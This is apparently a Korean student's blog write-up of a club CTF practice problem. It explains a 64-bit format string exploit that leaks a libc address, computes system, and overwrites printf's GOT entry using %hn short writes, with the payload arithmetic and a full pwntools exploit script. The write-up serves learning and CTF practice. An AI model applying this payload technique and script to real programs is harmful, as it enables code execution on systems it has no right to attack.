포맷스트링에 관한 것은 다른 곳에서 더 잘알려주기 때문에 따로 정리하지는 않겠다. 이 문제 푼다고 몇일동안 끙끙거려서 딱히 까먹을 일도 없을 것 같긴 하다.
이런 코드가 있다. 동아리 실습 문제인데, 일단 처음부터 시도해보자. 일단 방법으로는 FSB(Format String Bug)로 libc를 알아내서, printf 를 system으로 바꾸어 주면 /bin/sh를 주지 않아도, 앞에서 read로 buf에 값을 넣어주기 때문에 원하는 명령어를 실행할 수 있을 것이다. (모법답안은 이것과 다르더라. 일단 atoi함수가 어떻게 실행되는지를 찾아볼 생각을 안했다...)
일단 먼저 leak에 관한 부분이다. 모든 프로그램에 해당되는데 스택 밑부분을 보면 저렇게 libc_start_main+n에 관한 부분이 고스란히 저장되어있다. 추후 프로그램을 끝낼 때 사용하는 용도로 자동으로 삽입 된 코드이다.
0x7fffffffffdd00 은 버퍼의 주소이고, 넣은 값과 개행문자(0x0a)가 들어가 있는 것을 확인 할 수 있다. 중요한 것은 저기 박스로 친 부분이다.
이렇게 6번째 인덱스부터 buf의 값이 나오는 것을 알 수 있다.
박스로 친 0x7fffffffffde18 부분은 0x7fffffffffdd00 과 0x23(35) 만큼 떨어져 있으므로 저 부분을 leak하려면 41번째 인덱스를 참조하면 된다.
일단 이렇게 먼저 leak을 해주었다. 이제 printf@got를 overwirte하기만 하면 되는데, 이게 한줄에 다 덮는 것은 꽤나 힘들었다. 원래라면 주소 6 바이트를 모두 덮어줘야겠지만 상위 2바이트 주소는 system 함수이든 printf 함수이든 모두 같아서 하위 4 바이트만 덮어주도록 하였다.
여기서 중요하게 것은 쇼트 쓰기 기법이다 %hn(2byte) %hhn(1byte) 등으로 이녀석들의 장점은 단순하다.
원하는 바이트 만큼 쓸 수 있는데, 만약 hn을 쓴다고 할때 3byte가 앞에서 등장했으면 3byte중에서 2byte만 알아서 들어간다. 만약 %n으로 4바이트를 덮는다고 생각하면 공백문자가 수십억개가 payload상에 존재해야하는데... 생각만 해도 끔찍하다. 따라서 2바이트(최대 65536) 정도면 적당하다고 볼 수 있겠다. 1바이트는 페이로드를 구성하는게 좀 귀찮고.
또한 64bit FSB와 32bit FSB의 차이점이 있다. 64bit에서는 주소에 \x00값이 들어가기 때문에 주소를 payload 앞부분에구성을 해주게 되면 다 짤리게 된다. 따라서 주소는 페이로드 뒷 부분에 붙여줘야 한다.
그러면 여기서 궁금점. 4바이트를 쓰려면 주소는 두번 들어가야 되고, 결국에는 중간에 NULL 값이 삽입된다는 건데,
이를 읽는 read() 함수는 NULL을 만나면 입력을 중단할까?
정답은 NO. 그냥 정해진 바이트를 무조건 읽어 들인다. 그러나 printf의 경우는 NULL값을 만나게 되면 멈추기 때문에 주의 해야 한다.
그래서 페이로드를 구성해보자. 만드는 과정만 안다면 이를 함수화 시켜서 나중에 편하게 써먹을 수도 있을 것이고, 실제로 존재 한다.
일단 예를 들어볼 system 함수의 주소는 0x7f952df9a390 이다.
이를 4byte씩 자르면 0x7f95 , 0x2df9(11769) , 0xa390(41872) 이고 우리는 하위 4바이트만 덮어 씌우면 된다.
그렇다면 처음으로는 0xa390, 두번째로 0x2df9를 덮어씌우겠다.
먼저 첫번째 페이로드 구성이다.
%41869dA+AA%10$hn
여기서 +는 8byte 단위로 끊으려고 한 것이다. 중간에 A들은 8byte를 맞추기 위한 dummy들이다. 바이트를 정확히 맞추어야 나중에 주소값 접근이 쉽다. %10$hn에서 왜 10번째 인덱스이냐면
공백문자+hn관련+공백문자+hn관련+주소+주소 로 페이로드가 구성이 되고, 인덱스는 6부터 시작하기 때문.
6 7 8 9 10 11
그 다음은 두번째 페이로드이다. 앗.. 그런데 0x2df9는 지금까지 출력된 0xa390보다 적다. 하지만 hn의 경우 3바이트여도 2바이트만 덮어씌운다고 했다. 그렇다면 2바이트만 0x2df9을 맞춰줄 수 있는 0x12df9을 만들어주자.
총 출력되는 것이 0x12df9byte가 되야하므로, 뒤에서는 0x8a69(35433)byte가 출력이 되야한다.
따라서 두번째 페이로드는
%35430dA+AA%11$hn
가 될것이다. A가 3개이기 때문에 들어가야 될 공백문자 개수가 3개 빠진 것은 동일하다.
그래서 총 페이로드는
%41869dA+AA%10+$hn%35430dA+AA%11$hn+p64(printf@got)+p64(printf@got+2)
가 되겠다.
총 코드는 다음과 같다.
참고로 밑의 payload 제작부분만 따지자면 payload는 52byte이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
from pwn import*
printf_got=0x601028
libc_start_offset=0x020740
puts_got=0x601018
gets_got=0x601048
p=process('./sf4')
p.recv(16) #input 1 -> exit
payload=''
payload+='bbb%41$p'
time.sleep(0.5)
p.sendline(payload)
p.recv(3) # bbb
tmp=p.recv(14)
libc_start_main=int(tmp,16)-240
libc_base=libc_start_main-libc_start_offset
system=libc_base+0x45390
print("libc_start_main:"+hex(libc_start_main))
print("libc_base:"+hex(libc_base))
print("system:"+hex(system))
p.recv(100) #unknown byte
value=[]
payload=''
value_sum=0
for i in range(3):
value.append((system>>i*0x10)&0xffff)
print(value[i])
for i in range(2):
if i==0: #first try
input_value=value[i]-(6-len(str(value[i])))
payload+='%'+str(input_value-2)+'d'+'a'*(6-len(str(value[i])))
payload+='aa%10$hn'
else : #second third
length=len(str(hex(value[i-1])))-2
k='1'
for j in range(length) :
k+='0'
temp=int(k,16)+value[i]
print (hex(temp))
input_value=temp-value[i-1]
input_value=input_value-(6-len(str(input_value)))
payload+='%'+str(input_value-2)+'d'+'a'*(6-len(str(input_value)))
payload+='aa%11$hn'+p64(printf_got)+p64(printf_got+2)
print(payload)
p.send(payload)
p.interactive()
|
cs |
'전공쪽 > 동아리 관련' 카테고리의 다른 글
동아리 가을 CTF write up (0) | 2020.10.11 |
---|---|
[동아리CTF] FastFood Write-up (0) | 2020.10.02 |
FSB를 위한 함수 (0) | 2020.08.31 |
StackPivot 문제 (1) | 2020.07.31 |
[동아리 CTF] 문제 CheckSum (0) | 2020.07.31 |